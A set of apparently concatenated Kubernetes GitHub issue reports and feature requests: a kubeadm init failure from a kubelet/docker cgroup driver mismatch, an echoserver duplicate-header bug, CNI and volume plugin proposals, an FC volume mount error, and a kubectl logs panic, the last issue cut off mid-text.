<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r    is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r trying to install a cluster with kubernetes 1.9.3 fails when trying to init with kubeadm\r  root@k8s-master log   kubeadm init --kubernetes-version v1.9.3 --ignore-preflight-errors=filecontent--proc-sys-net-bridge-bridge-nf-call-iptables\r  init  using kubernetes version: v1.9.3\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning filecontent--proc-sys-net-bridge-bridge-nf-call-iptables : /proc/sys/net/bridge/bridge-nf-call-iptables contents are not set to 1\r \t warning fileexisting-crictl : crictl not found in system path\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  k8s-master.nuage.lab kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 10.0.0.13 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp  ::1 :10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp  ::1 :10255: getsockopt: connection refused.\r \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \t- there is no internet connection, so the kubelet cannot pull the following control plane images:\r \t\t- gcr.io/google_containers/kube-apiserver-amd64:v1.9.3\r \t\t- gcr.io/google_containers/kube-controller-manager-amd64:v1.9.3\r \t\t- gcr.io/google_containers/kube-scheduler-amd64:v1.9.3\r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r \r ----\r \r  root@k8s-master log   journalctl -xeu kubelet\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.937522   29359 controller.go:118  kubelet config controller: validating combination of defaults and flags\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : w0607 10:03:57.944723   29359 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.949351   29359 server.go:182  version: v1.9.3\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.949392   29359 feature_gate.go:226  feature gates: &{{} map  }\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.949468   29359 plugins.go:101  no cloud provider specified.\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : e0607 10:03:57.974204   29359 certificate_manager.go:314  failed while requesting a signed certificate from the master: cannot create certificate signing request: post https://10.0.0.13:6443/apis/certificates.k8s.io/v1beta1/certif\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.996557   29359 server.go:428  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.997385   29359 container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r jun 07 10:03:57 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.997406   29359 container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproo\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.997624   29359 container_manager_linux.go:266  creating device plugin manager: false\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.997760   29359 kubelet.go:290  adding manifest path: /etc/kubernetes/manifests\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:57.997801   29359 kubelet.go:313  watching apiserver\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : e0607 10:03:58.000673   29359 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.0.13:6443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master.nuage.lab&limit=500&reso\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : e0607 10:03:58.002849   29359 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.0.0.13:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.0.0.13:6443: getsockopt:\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : e0607 10:03:58.002905   29359 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.0.0.13:6443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master.nuage.lab&limit=500&resourceve\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : w0607 10:03:58.004860   29359 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:58.004894   29359 kubelet.go:571  hairpin mode set to \ hairpin-veth\ \r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : w0607 10:03:58.004960   29359 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:58.005006   29359 client.go:80  connecting to docker on unix:///var/run/docker.sock\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:58.005017   29359 client.go:109  start docker client with request timeout=2m0s\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : w0607 10:03:58.006430   29359 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : w0607 10:03:58.008775   29359 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:58.008812   29359 docker_service.go:232  docker cri networking managed by cni\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : i0607 10:03:58.015455   29359 docker_service.go:237  docker info: &{id:5rat:koo2:4qwv:jb6f:2alq:kvrb:oob3:dmbs:qqot:q6gz:s3yq:bqlg containers:0 containersrunning:0 containerspaused:0 containersstopped:0 images:1 driver:devicemappe\r jun 07 10:03:58 k8s-master.nuage.lab kubelet 29359 : error: failed to run kubelet: failed to create kubelet: misconfiguration: kubelet cgroup driver: \ systemd\  is different from docker cgroup driver: \ cgroupfs\ \r jun 07 10:03:58 k8s-master.nuage.lab systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r jun 07 10:03:58 k8s-master.nuage.lab systemd 1 : unit kubelet.service entered failed state.\r jun 07 10:03:58 k8s-master.nuage.lab systemd 1 : kubelet.service failed.\r jun 07 10:04:08 k8s-master.nuage.lab systemd 1 : kubelet.service holdoff time over, scheduling restart.\r jun 07 10:04:08 k8s-master.nuage.lab systemd 1 : started kubelet: the kubernetes node agent.\r -- subject: unit kubelet.service has finished start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has finished starting up.\r -- \r -- the start-up result is done.\r jun 07 10:04:08 k8s-master.nuage.lab systemd 1 : starting kubelet: the kubernetes node agent...\r -- subject: unit kubelet.service has begun start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has begun starting up.\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.190256   29377 feature_gate.go:226  feature gates: &{{} map  }\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.190414   29377 controller.go:114  kubelet config controller: starting controller\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.190422   29377 controller.go:118  kubelet config controller: validating combination of defaults and flags\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : w0607 10:04:08.197066   29377 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.200560   29377 server.go:182  version: v1.9.3\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.200706   29377 feature_gate.go:226  feature gates: &{{} map  }\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.200861   29377 plugins.go:101  no cloud provider specified.\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : e0607 10:04:08.226844   29377 certificate_manager.go:314  failed while requesting a signed certificate from the master: cannot create certificate signing request: post https://10.0.0.13:6443/apis/certificates.k8s.io/v1beta1/certif\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.251955   29377 server.go:428  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.252249   29377 container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.252262   29377 container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproo\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.252409   29377 container_manager_linux.go:266  creating device plugin manager: false\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.252513   29377 kubelet.go:290  adding manifest path: /etc/kubernetes/manifests\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.252540   29377 kubelet.go:313  watching apiserver\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : e0607 10:04:08.254655   29377 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.0.13:6443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master.nuage.lab&limit=500&reso\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : e0607 10:04:08.254850   29377 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.0.0.13:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.0.0.13:6443: getsockopt:\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : e0607 10:04:08.255084   29377 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.0.0.13:6443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master.nuage.lab&limit=500&resourceve\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : w0607 10:04:08.258007   29377 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.258056   29377 kubelet.go:571  hairpin mode set to \ hairpin-veth\ \r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : w0607 10:04:08.258143   29377 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.258195   29377 client.go:80  connecting to docker on unix:///var/run/docker.sock\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.258211   29377 client.go:109  start docker client with request timeout=2m0s\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : w0607 10:04:08.268855   29377 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : w0607 10:04:08.275790   29377 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.275833   29377 docker_service.go:232  docker cri networking managed by cni\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : i0607 10:04:08.284104   29377 docker_service.go:237  docker info: &{id:5rat:koo2:4qwv:jb6f:2alq:kvrb:oob3:dmbs:qqot:q6gz:s3yq:bqlg containers:0 containersrunning:0 containerspaused:0 containersstopped:0 images:1 driver:devicemappe\r jun 07 10:04:08 k8s-master.nuage.lab kubelet 29377 : error: failed to run kubelet: failed to create kubelet: misconfiguration: kubelet cgroup driver: \ systemd\  is different from docker cgroup driver: \ cgroupfs\ \r jun 07 10:04:08 k8s-master.nuage.lab systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r jun 07 10:04:08 k8s-master.nuage.lab systemd 1 : unit kubelet.service entered failed state.\r jun 07 10:04:08 k8s-master.nuage.lab systemd 1 : kubelet.service failed.\r \r ---\r \r \r   what you expected to happen  :\r the cluster should have initialised correctly\r \r   how to reproduce it  as minimally and precisely as possible   :\r yum install yum-versionlock docker-1.12.0-0\r yum -y install yum-versionlock kubectl-1.9.3-0 kubelet-1.9.3-0 kubernetes-cni kubeadm-1.9.3-0\r kubeadm init --kubernetes-version v1.9.3 --ignore-preflight-errors=filecontent--proc-sys-net-bridge-bridge-nf-call-iptables\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core \r - kernel  e.g.  uname -a  : linux k8s-master.nuage.lab 3.10.0-229.14.1.el7.x86_64  1 smp tue sep 15 15:05:51 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r hello, actually this is a bug about  echoserver  not about k8s.\r \r i use  gcr.io/google-containers/echoserver:1.10  to observe request headers and found if the request have multiple same headers echoserver will give a wrong result:\r \r  curl -h 'x-foo:foo' -h 'x-foo:bar' http://echoserver:8080 \r \r result:\r \r    \r ...\r request headers:\r \tx-foo=table: 0x41fadd70\r ...\r    \r \r expected result:\r \r    \r ...\r request headers:\r \tx-foo=foo\r \tx-foo=bar\r ...\r    \r

we have a project called kubedb that adds crds and validating and mutating webhooks for those crds. \r \r    \r kubectl api-resources | grep kubedb\r elasticsearchversions             esversion      catalog.kubedb.com             false        elasticsearchversion\r etcdversions                      etcversion     catalog.kubedb.com             false        etcdversion\r memcachedversions                 mcversion      catalog.kubedb.com             false        memcachedversion\r mongodbversions                   mgversion      catalog.kubedb.com             false        mongodbversion\r mysqlversions                     myversion      catalog.kubedb.com             false        mysqlversion\r postgresversions                  pgversion      catalog.kubedb.com             false        postgresversion\r redisversions                     rdversion      catalog.kubedb.com             false        redisversion\r dormantdatabases                  drmn           kubedb.com                     true         dormantdatabase\r elasticsearches                   es             kubedb.com                     true         elasticsearch\r etcds                             etc            kubedb.com                     true         etcd\r memcacheds                        mc             kubedb.com                     true         memcached\r mongodbs                          mg             kubedb.com                     true         mongodb\r mysqls                            my             kubedb.com                     true         mysql\r postgreses                        pg             kubedb.com                     true         postgres\r redises                           rd             kubedb.com                     true         redis\r snapshots                         snap           kubedb.com                     true         snapshot\r elasticsearches                                  mutators.kubedb.com            false        admissionreview\r etcds                                            mutators.kubedb.com            false        admissionreview\r memcacheds                                       mutators.kubedb.com            false        admissionreview\r mongodbs                                         mutators.kubedb.com            false        admissionreview\r mysqls                                           mutators.kubedb.com            false        admissionreview\r postgreses                                       mutators.kubedb.com            false        admissionreview\r redises                                          mutators.kubedb.com            false        admissionreview\r dormantdatabases                                 validators.kubedb.com          false        admissionreview\r elasticsearches                                  validators.kubedb.com          false        admissionreview\r etcds                                            validators.kubedb.com          false        admissionreview\r memcacheds                                       validators.kubedb.com          false        admissionreview\r mongodbs                                         validators.kubedb.com          false        admissionreview\r mysqls                                           validators.kubedb.com          false        admissionreview\r namespaces                                       validators.kubedb.com          false        admissionreview\r postgreses                                       validators.kubedb.com          false        admissionreview\r redises                                          validators.kubedb.com          false        admissionreview\r snapshots                                        validators.kubedb.com          false        admissionreview\r    \r \r when a user runs  kubectl get dormantdatabases , kubectl tries to list the validatingwebhooks. this is resulting is bad ux.\r \r    \r $ kubectl get drmn\r no resources found.\r \r $ kubedb get dormantdatabases.kubedb.com\r no resources found.\r \r $ kubedb get dormantdatabases\r error from server  methodnotallowed : the server does not allow this method on the requested resource\r    \r \r is it possible that  kubectl      commands avoid running get command over admissionreview api group?

would be helpful to have a plugin point to extend secrettype, in order to have a new valid secret of that type.

aws has limited ca support, and there is also letsencrypt.  services  or ingress points  should declare that they want a certificate, and we should be able to automatically provision  & renew  them.  it is unclear whether there is value in the amazon service, given letsencrypt exists.

i created an ingress with two backends in gke - the first service was of type  nodeport , the second one was of type  clusterip . i spent some time debugging why my path rule didn´t work until i found out that my second service was of type  clusterip . this could be handled more gracefully during creation or at least be visible somewhere.

there are e2e tests for prestop hooks, but no tests at all for poststart hooks. we should add one to the node e2e suite.  by the way, there are also no examples using poststart hooks.

right now, the cni network plugin chooses which cni network  also confusingly referred to as a \ plugin\   by opening the   alphabetically-first configuration file on disk  . it also rescans for configuration files every 10 seconds.\r \r this is obviously non-optimal. the cni shim should use a stable network. however, we do have to deal with the fact that the desired configuration file may not exist at startup time.\r \r therefore, either we should\r 1  add a new cni-specific command-line flag, defaulting to the old behavior if not provided.\r 2  scan all the available network files and present them as kubernetes networking plugins directly, e.g. a network called \ mybridge\  is enabled via  --network-plugin=mybridge

cloud provider volume has a function diskisattached to check whether the volume is still attached to the instance. if the instance is no longer exist  deleted by cloud provider , we can safely assume that the volume is no longer attached to the instance and return false without error for diskisattached  . currently gce pd and aws has the correct behavior, but all other volume plugins do not.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r pod creation doesn't finish due to the following error. if the directory doesn't exist it will be created instead of returning error.\r    \r e0918 17:02:33.010764   47970 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/fc/ wwn \\\ \  failed. no retries permitted until 2017-09-18 17:02:33.510731259 -0400 edt  durationbeforeretry 500ms . error: mountvolume.waitforattach failed for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ wwn \   pod \ nginx-pod1\   uid: \ ae61367d-9cb4-11e7-886d-f8bc12550954\   : heuristic determination of mount point failed:stat /var/lib/kubelet/plugins/kubernetes.io/fc/<wwn>-lun-0: no such file or directory \r i0918 17:02:33.576630   47970 reconciler.go:257  operationexecutor.mountvolume started for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ wwn \   pod \ nginx-pod1\   uid: \ ae61367d-9cb4-11e7-886d-f8bc12550954\    \r    \r \r   what you expected to happen  :\r \r pod with fc volume works properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - clean up under the \ /var/lib/kubelet/plugins\ \r - create a pod with fc volume\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.723+8ca1d9f19ba2c7-dirty\ , gitcommit:\ 8ca1d9f19ba2c75dfbca058ecfeb11d4b39d9e9f\ , gittreestate:\ dirty\ , builddate:\ 2017-09-18t18:00:44z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.723+8ca1d9f19ba2c7-dirty\ , gitcommit:\ 8ca1d9f19ba2c75dfbca058ecfeb11d4b39d9e9f\ , gittreestate:\ dirty\ , builddate:\ 2017-09-18t21:00:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - install tools: local-up-cluster.sh\r \r /cc @rootfs @jsafrane

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r for a pod that has process erroring out, when checking for logs, kubectl panics.\r \r   what you expected to happen  :\r \r i expected it to show logs\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    console\r \r   kubectl create ns scc\r namespace \ scc\  created\r   kubectl config set-context $ kubectl config current-context  --namespace scc\r context \ kubernetes-admin@kubernetes\  modified.\r    \r \r using this config\r \r    yaml\r   cat security-context.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: security-context-demo\r spec:\r   securitycontext:\r     runasuser: 1000\r     fsgroup: 2000\r   volumes:\r   - name: sec-ctx-vol\r     emptydir: {}\r   containers:\r   - name: sec-ctx-demo\r     image: gcr.io/google-samples/node-hello:1.0\r     volumemounts:\r     - name: sec-ctx-vol\r       mountpath: /data/demo\r     securitycontext:\r       allowprivilegeescalation: false\r    \r \r    console\r   kubectl create -f security-context.yaml\r pod \ security-context-demo\  created\r \r \r                                  \r   kubectl get pods -w             \r name                    ready     status              restarts   age                           \r security-context-demo   0/1       containercreating   0          9s                            \r security-context-demo   0/1       error     0         10s                                      \r ^c                                \r                                  \r                                  \r   kubectl logs security-context-demo                                              \r panic: standard_init_linux.go:178: exec user process caused \ operation not permitted\   recovered                                                                                              \r         panic: standard_init_linux.go:178: exec user process caused \ operation not permitted\   \r goroutine 1  running, locked to thread :       \r github.com/urfave/cli.handleaction.func1 0xc4200af7a0                                          \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/godeps/_workspace/src/github.com/urfave/cli/app.go:478 +0x23f     \r panic 0x6f0ae0, 0xc42011ec40                   \r         /usr/lib/golang/src/runtime/panic.go:489 +0x2cf                                        \r github.com/opencontainers/runc/libcontainer.  linuxfactory .startinitialization.func1 0xc4200af208, 0xc42000e078, 0xc4200af2a8                                                                \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/godeps/_workspace/src/github.com/opencontainers/runc/libcontainer/factory_linux.go:259 +0xc1                     \r github.com/opencontainers/runc/libcontainer.  linuxfactory .startinitialization 0xc4200505f0, 0xaa88e0, 0xc42011ec40                                                                          \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/godeps/_workspace/src/github.com/opencontainers/runc/libcontainer/factory_linux.go:277 +0x353                    \r main.glob..func8 0xc42007c780, 0x0, 0x0        \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/main_unix.go:26 +0x66                                             \r reflect.value.call 0x6d9a00, 0x750160, 0x13, 0x73b762, 0x4, 0xc4200af760, 0x1, 0x1, 0xc4200af6f0, 0x731240, ...                                                                               \r         /usr/lib/golang/src/reflect/value.go:434 +0x91f                                        \r reflect.value.call 0x6d9a00, 0x750160, 0x13, 0xc4200af760, 0x1, 0x1, 0x665966, 0x73b8ee, 0x4   \r         /usr/lib/golang/src/reflect/value.go:302 +0xa4                                         \r github.com/urfave/cli.handleaction 0x6d9a00, 0x750160, 0xc42007c780, 0x0, 0x0                  \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/godeps/_workspace/src/github.com/urfave/cli/app.go:487 +0x18f     \r github.com/urfave/cli.command.run 0x73b90e, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x74d19f, 0x51, 0x0, ...                                                                                            \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/godeps/_workspace/src/github.com/urfave/cli/command.go:191 +0xac8 \r github.com/urfave/cli.  app .run 0xc4200ca000, 0xc42000c140, 0x2, 0x2, 0x0, 0x0                \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/godeps/_workspace/src/github.com/urfave/cli/app.go:240 +0x5d6     \r main.main                                      \r         /builddir/build/build/docker-c4618fb6bf4058dcde877f773cfd4afb5abe626c/runc-31a9f6e22729606814e9bcbcf9eeebc1887527cb/main.go:137 +0xbd2                                                \r                           \r \r but if i run a normal non-failing  pod it works fine\r \r    console\r   kubectl run web --image centos/httpd \r deployment \ web\  created\r \r   kubectl get pods -w\r name                    ready     status              restarts   age\r security-context-demo   0/1       crashloopbackoff    3          1m\r web-b75668b7-hrkzx      0/1       containercreating   0          6s\r security-context-demo   0/1       error     4         2m\r web-b75668b7-hrkzx   1/1       running   0         12s\r security-context-demo   0/1       crashloopbackoff   4         2m\r ^c  \r \r   kubectl logs web-b75668b7-hrkzx\r ah00558: httpd: could not reliably determine the server's fully qualified domain name, using 10.44.0.1. set the 'servername' directive globally to suppress this message\r   \r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r \r    console\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r \r machines started using following vagrantfile\r \r    ruby\r $ cat vagrantfile \r   - - mode: ruby - -\r   vi: set ft=ruby :\r vagrant.configure \ 2\   do |config|\r \r   config.vm.define \ c1\  do |c1|\r     c1.vm.box = \ centos/7\ \r     c1.vm.hostname = \ c1\ \r   end\r \r   config.vm.define \ w1\  do |w1|\r     w1.vm.box = \ centos/7\ \r     w1.vm.hostname = \ w1\ \r   end\r \r   config.vm.define \ w2\  do |w2|\r     w2.vm.box = \ centos/7\ \r     w2.vm.hostname = \ w2\ \r   end\r \r   config.vm.provider \ libvirt\  do |libvirt, override|\r     libvirt.driver = \ kvm\ \r     